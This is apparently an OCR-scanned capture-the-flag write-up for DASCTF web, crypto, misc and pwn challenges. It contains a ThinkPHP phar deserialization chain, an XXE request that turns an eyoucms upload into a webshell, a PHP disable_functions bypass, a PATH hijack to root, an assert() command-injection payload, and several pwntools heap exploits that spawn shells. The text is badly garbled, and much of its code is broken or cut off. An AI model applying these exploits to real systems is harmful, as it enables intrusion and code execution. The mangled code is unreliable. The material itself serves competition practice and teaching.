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<?php
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function _ construct(){
$this->options=[

3600,

false,

1;
$this->tag

namespace think\session\driver{

class SessionHandler{}

class Memcached extends SessionHandler{
protected $handler;

protected $config [1;

function _ construct()

{

$this->config[ ] 123;
$this->config[ ] 123;
$this->handler new \think\cache\driver\File();

namespace think\console{

class Output{

protected $styles;

private $handle;

function _ construct()

{

$this->styles array( E

$this->handle = new \think\session\driver\Memcached();

namespace think {

class Process

{

private $processInformation;
private $status;

private $process;

private $processPipes;

function _ construct()

$this->status ;
$this->processInformation= array( true);
$this->processPipes new console\Output();
$this->process 1;

b
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namespace {

use think\Process;

@unlink( );
$phar = new Phar(

$phar->startBuffering();
$phar->setStub(

$0 = new Process();
$phar->setMetadata($o);
$phar->addFromString(

$phar->stopBuffering();
copy ( P

O fiphar044 eyoucms AR Sico /G 48 i D44 Bt LAB 4 Nico DB AT BA%, xxefii & phar i@t gitee KL T DM xxe B RLiZ 7] A
FI,

» +11 application/heme/controllerfindex.php

namespace app\home\controller;

+ use think\Db;
use appl\user‘\legic\PayLogic;

class Index extends Base

t _contents( !Jlup:.-"a"inp\lf. s
1)) {
- y = Db::name( 'pay apl config')->where( ' pay mark', "wechat')->value('pay info');
+ ty(Spay_info)) {
+ F info = unseriali 'H—.tépa‘lc info);
+ if (empty($pay_in 'appid’]) | 'stristr($InputXml, "[{$pay_info[ 'appid']}]"}) {
+ return true;
+ ¥
+ } else {
L & return true;
it }
3
SJson¥ml = json_encode(simplexm load string(S$Input¥ml, 'SimpleXMLElement', LIBXML NOCDR™N

POST /index.php/home/Index/_initialize HTTP/1.1
Host: 0666787d-4b66-4e6e-8d13-55ab438b085f.zzctf.dasctf.com
Content-Type: text/xml; charset=utf-8
Cache-Control: max-age=0
Content-Length: 265
?xml version encoding
DOCTYPE xxe [
ELEMENT name ANY
ENTITY xxe SYSTEM

root

name>&xxe;</name

/root



B0 rew 0 Actions v B0 Raw Render 0 Actions v

1 POST /index.php/home/Index/ initialize HTTP/1.1 1 lm.fl 1 200 o
z Bost: ossﬂnd Ab66-4ebe-Bd]3-55ab4 18bOBSE . 2zoLs . dasorf . com 2 1 openresty/1.15.
wml; charsevsutf-8 1 nnzm Wed, 29 Sep 2011 ns:zauu oeT
a Cache—control: max-age=0 4 Content-Type: text/htal; charset=UTF-§
5 Content-Length: 268 4 Content-Lengths 408
ﬁ & Connection: keap-alive
7 <Paml wersion="1.0" sncoding="utf-8"7> T Vary: Accept-Emcoding
]
] <|DOCTYPE xxe | 3 <br />
9 <] ELEMENT namo ANY > 10 <h»
10 <IENTITY xxe SYSTEM “php://filter phars/// tal fuploads /user/4/alling/20210929/4. Deprecated
11  <root> </b>
a <name> 1 Automatically populating SHTTP_RAW_POST_DATA is deprecated and will be removed
3= H Unknown
</ mame> </
</root> on line <t
[]
</t
<br />
11 <br />
12 <>
Warning
o

<
1 Cannot modify header information - headers already sent im <b>»
Unknown

</b> LGV P
s \./.‘..'_.DJL;_J_{_F-,
</t

S C5DN @ED

£ 3 shell &k IR $

O & 0666787d-4b66-4e6e-8d13-55ab438b085. zzctf.dasctf.com/uploads/user/4fallimg/20210929/a.php755dif45cd9ba26f33e6cdb7afd1fo. BE ¥

uUsar-Agent MOZaD U [Macintosh;, Intal Mac US X TU.15; Ao U) GacKalZUuTuuiuT Firalosryd U
Accept app fehitml-+ml, Wxml;g=0.9,1 fwebp,*/q=0.8
Accapt-Language zh-CN.zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5,en-US,q=0.3 en;g=0.2
Accept-Encoding gzip, deflate
Cookie home_lang=cn; admin_lang=cn; referud=hitp%3A%2F%2F06667TB7d-4bE66-debe-
8d13-55ab438b0B5f zzctf.dasctf.com%2F; users_id=4; PHPSESSID=k9ceT 3vankit7sq526d7ninkd7
Upgrade-Insecure-Requests 1
X-Originating-IP 127.0.0.1
X-Remote-IP 127.0.01
X-Remote-Addr 127.0.01
| X-Powered-By PHF/5.6.40
Core
| PHP Version | 5640 |

allow_url_fopen On On

allow_url_include off off

always_populate_raw_post_data o L]

arg_separator.input & &

arg_separator.output & &

asp_tags Off Off

auto_append_file no value no valug

auto_globals_jit On on

auto_prepend_file no value no value

browscap no value no value

default_charset UTF-8 UTF-8

default_mimetype taxt/hirnl text/html

disable_classes no value no value

disable_functions m_mm.m_mm_mmm_mm_mmwwmw
errors On Oon

m:mn_m on On "G:x_'_'—} }‘ "T =E

ESBrF@ERI 2 &

2453 openbasedir

« - C B O & 0666787d-4b66-4e6e-8d13-55ab438b085f.zzctf.dasctf.com/1.php

@- Cardinal
open_basedir : /lvar/iwww/html:/tmp

.dockerenv
bin
hnot



dev

etc
fakeflag
flag
home
lib

lib32
lib64
libx32
media
mnt
opt
proc
readflag
root
run
sbin
srv
start.sh
sys
tmp

usr

var

G % dIgkid disable_function Jz #ishell

,dirname(__FILE_ ));

$evil_cmdline = $cmd $out_path
echo $evil_cmdline

putenv ( $evil_cmdline);

$so_path ;

putenv ( $so_path);

mb_send_mail("", );

echo nl2br(file_get contents($out_path))




i TPATHIZAL

/readflag
[Takeflag: 1: fla
www—-data@6e8d9b5aa
1d

uid=33 (www-data) gid=33(www-data) groups=33(www-data)
www-data@68d9b5aae3el: /tmpS echo "/bin/sh" > cat

echo "/bin/sh" > cat

www-dat: d9b5aae3el: /tmp$S chmod

chmod 777 cat

www-data@68d9b5aae3el: /tmp$ echo $PATH

echo SPATH

/tmp: /usr/local/sbin: /usr/local/bin: /usr/sbin: /usr/bin:/sbin: /b
www-data@68d9b5aae3el: /tmpS /readflag

/readflag

cat /flag

not found

id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

nl flag
Y [ i AT7TOGAR 2 -V C
1 DASCTF{05b775470640305ae4d92d T3uaaz¢bé[ﬂ,L%
cd LQDN @EDIRS




githack3R EX RS

@ index.php > ..
1 [<php
“ §1412245-B159-4D0E-B729-A2892C59F426.22ZCTF.DASCTE.COM 2
w 5 pages 3 if (isset($_GET['link_page'])) |
@ about.php 4 $link_page = $_GET['Llink_page'];
& contact.php 5 ) else {
= flag.php & $link_page = "home";
@ home.php 7
» static 8
9 $page_file = "pages/" . $link_page . ".php";
10
11  $safe_checkl = "strpos('$page_file', '..') == false";
12  assert($safe_checkl) or die("no no nol!");
13
14 // safe!

15 $safe_check2 = "file_exists('$page_file')":, ,
16 agsertfjsafe.checkz,l or die{"no this file!"'»-c:;,i "'_.JI""'

17 8 CSDN @EDIZ %
« = O @ 2 view-source:http://61412245-b159-4d0e-b729-a2892c591426 2zctf dasctf com/?link_page=flag'.die(system('cat pages/flag.php')).
B cardinal
| =?php //DASCTF{ca9efc658d3d96d7f2ccc81733bb4838}; 7>
. =?php //DASCTF{ca9efc658d3d96d7f2ccc81733bb4838}; 7>
EDIZ 4

?1link_page=flag' .die(system( ' cat pages/flag.php')).' e JN @EDIZ 4 4-
Lo Lo 2=

FLAG DASCTF{ca9efc658d3d96d7f2ccc81733bb4830}
Misc
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32fhrexel 1, FTHZ )G 2B Krcd

431 memset(v25, @, sizeof(v2s));
44, for ( i = @; i < 256; ++i )

45|

46 v27[i] = i;

47 v25[i] = v26[i ¥ v5];
48| }

49 7 = 0;

5E 8 = 0,

51| do

52| {

53 v = v27[v7];

54 8 = (v8 + v25[v7] + v9) % 256;
55 v27[v7++] = v27[v8];
56 27[v8] = A BX3T:
57| }

58| while ( v7 < 256 );

59| sub_4e1e1e("\n\n", vig[e]);

60 v1ie = 0;

61| v23 = O;

62 Vil = @J

63| if ( v4 ) -
64 { CSDN @EDTEZ

BEESMARNGM, 7oL EBCRIBBE 41, pythonflosEEw] LL lexe

for i in range(50):

for j in range(32,127):
flag=c

flag+=chr(j)

with open(
f.write(flag)
os.system(

with open( )
data a.readlines()

if(datal!=b):
print(chr(j))

c+=chr(j)

FLAG flag{c5e0f5f6-f79e-5b9b-988f-28f046117802}



from gmpy2 import *
from Crypto.Util.number import *
n=173652311549263483644782768725584927759117606630082394353723603461898405748234715060
c=69449671068815437735428941286784119483138319713455732155925855928646536962597672941
p=gcd(n,c)
q=n{‘p B BBA: C\Windows\system32\cmd.exe
e=65537 . na% 1997

: M'_'\._"LI_I.I_L Il[-.lLJ =] I|_ = 10. U'_i:_.'__- J.'.__-'I_
d:lnver‘t(e_l(p—l:]*[:q—l)) (¢) Microsoft Corporation. { -TT_1 T|I
M=pow{ C, d-l n) ¥ I"-._-_-'_:-_-l':_'"-._;'__]J'..ij_i:. trator>cd Desktop
ml=M/ (2621 * 1801 * p) :
m2=M/(2021 * 1001 * q) _uv = I

: SPehre Vo P it frfraceback (most recer
print long_to_bytes(ml) Fyla “imebipy. Lins 13, ir <oancols

print long_to_bytes(m2

print long_to_bytes(m2) JError: [Frrno 2] No such file or directory

el .--.'I1'..i| Istrator \Wesktop-python test. py
r” ith_ls_lInterestlng_

C:\Users\Administrator\Desktop

[warmup]in % & i

MEHER BT R TR, REER (Tirta+tb)%m KitE DR, HEBFH TR, RRFFHNFRHE. AFE SO EHRE
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from Crypto.Util.number import
cipher_text
strl
def decode(plain_text, a, b, m):
flag

for j in plain_text:

for i in ( (strl)):

if (i*a+b) m strl.find(j):
flag stri[i]

if j not in stri:

flag Jj

print(flag)
decode(cipher_text,37,23,52)

Pwn

null_pwn

import sys

from pwn import

from ctypes import CDLL
context.log level
elfelf

while True :




context.arch=elf.arch
gdb_text

if (sys.argv)==1 :
clibc=CDLL(

io=process(elfelf)

clibc.srand(clibc.time(9))
libc=ELF(

one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :

clibc=CDLL(

io=remote( ,51704)
clibc.srand(clibc.time(9))

libc=ELF(

one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def choice(a):

io.sendlineafter( (a))

def add(a,c,b):

choice(1)

io.sendlineafter(

io.sendlineafter(

io.sendafter(

def edit(a,b):

choice(3)
io.sendlineafter(
io.sendafter(

def show(a):

choice(4)
io.sendlineafter(

def delete(a):

choice(2)
io.sendlineafter(
add(0,0x88, )
add(1,0x68,

add(2,0x68,

add(3,0x88,

add(4,0xf0,

add(5,0xf0,

delete(9)

show(9)

edit(3, 0x80+p64(0x200)
delete(4)

delete(1)

add(0,0xc8, 8)
show(9)
libc_base=u64(io.recvuntil(
libc.address=1ibc_base
bin_sh_addr=1ibc.search(
system_addr=1libc.sym[

free_hook_addr=1ibc.sym[ ]
edit(o, 0x88+p64(0x71)+p64(libc.sym[

add(1,0x68, )
add(3,0x68,
edit(3

)-libc.sym|[

]-840-0x10




edit(o, 0x88+p64 (0x1000)+p64(libc. sym
delete(1)
success( (libc_base))

io.interactive()

import sys

from pwn import

from ctypes import CDLL
context.log_level
elfelf

while True :
elf=ELF(elfelf)

context.arch=elf.arch
gdb_text

if (sys.argv)==1 :
clibc=CDLL(

io=process(elfelf)

clibc.srand(clibc.time(9))
1ibc=ELF(

one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :

clibc=CDLL(

io=remote( ,50202)
clibc.srand(clibc.time(9))

libc=ELF(

one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def choice(a):

io.sendlineafter( €)))

def add(c):

choice(1)

io.sendafter( (c))

def edit(a,b):
choice(3)
io.sendlineafter(
io.sendafter(

def show(a):
choice(4)
io.sendlineafter(
def delete(a):
choice(2)
io.sendlineafter(




io.recvuntil( )
heap_addr (io.recv(12),16)
add (0x88)
add(0x68)
add(ox68)
delete(9)
show(9)

libc_base=u64(io.recvuntil( : )-libc.sym[ ]1-88-0x10
libc.address=1ibc_base
bin_sh_addr=libc.search(
system_addr=1libc.sym[
free_hook_addr=1libc.sym[
delete(1)
edit(1,p64(libc.sym[ ]-6x23))
add (0x68)

add (ox68)
edit(4, 0x13+p64(one_gadgaet[2]+1libc_base))
delete(1)
delete(1)
success( (libc_base))

io.interactive()

GreentownNote

import sys

from pwn import

from ctypes import CDLL
context.log_level
elfelf

while True :

elf=ELF(elfelf)
context.arch=elf.arch
gdb_text

if (sys.argv)==1 :
clibc=CDLL(
io=process(elfelf)

clibc.srand(clibc.time(0))
1ibc=ELF(

one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247 ]
else :

clibc=CDLL(

io=remote( ,51701)
clibc.srand(clibc.time(9))

libc=ELF( )




def choice(a):
io.sendlineafter(

def add(b,c):

choice(1)

io.sendlineafter(
io.sendafter( 5

def show(a):

choice(2)

io.sendlineafter(

def delete(a):

choice(3)

io.sendlineafter(

add(ox88, )

add(ox88, )

for i in

delete(1)

delete(9)

show(9)
libc_base=u64(io.recvuntil( )-libc.sym[ 1-96-0x10
libc.address=1ibc_base
bin_sh_addr=1ibc.search(
system_addr=1ibc.sym|[
free_hook_addr=1ibc.sym|[
add(0x88,p64(free_hook_addr))
add(0x88,p64(free_hook_addr))
new_shell code_head_addr=free_hook_addri&oxffffffff{{f{f{f{foooe
shelll

new_shell code_head_addr
pay=p64(libc.sym[ 1+53)+p64(free_hook_addr+0x10)+asm(shelll)
add(0x88, pay)

srop_mprotect=SigreturnFrame()

srop_mprotect.rsp=free_hook_addr+0x8
srop_mprotect.rdi=new_shell code_head_addr
srop_mprotect.rsi=0x1000
srop_mprotect.rdx=4|2|1
srop_mprotect.rip=1libc.sym[

add (0x200, (srop_mprotect))

delete(3)
shell2




io.sendline(asm(shell2))

io.interactive()
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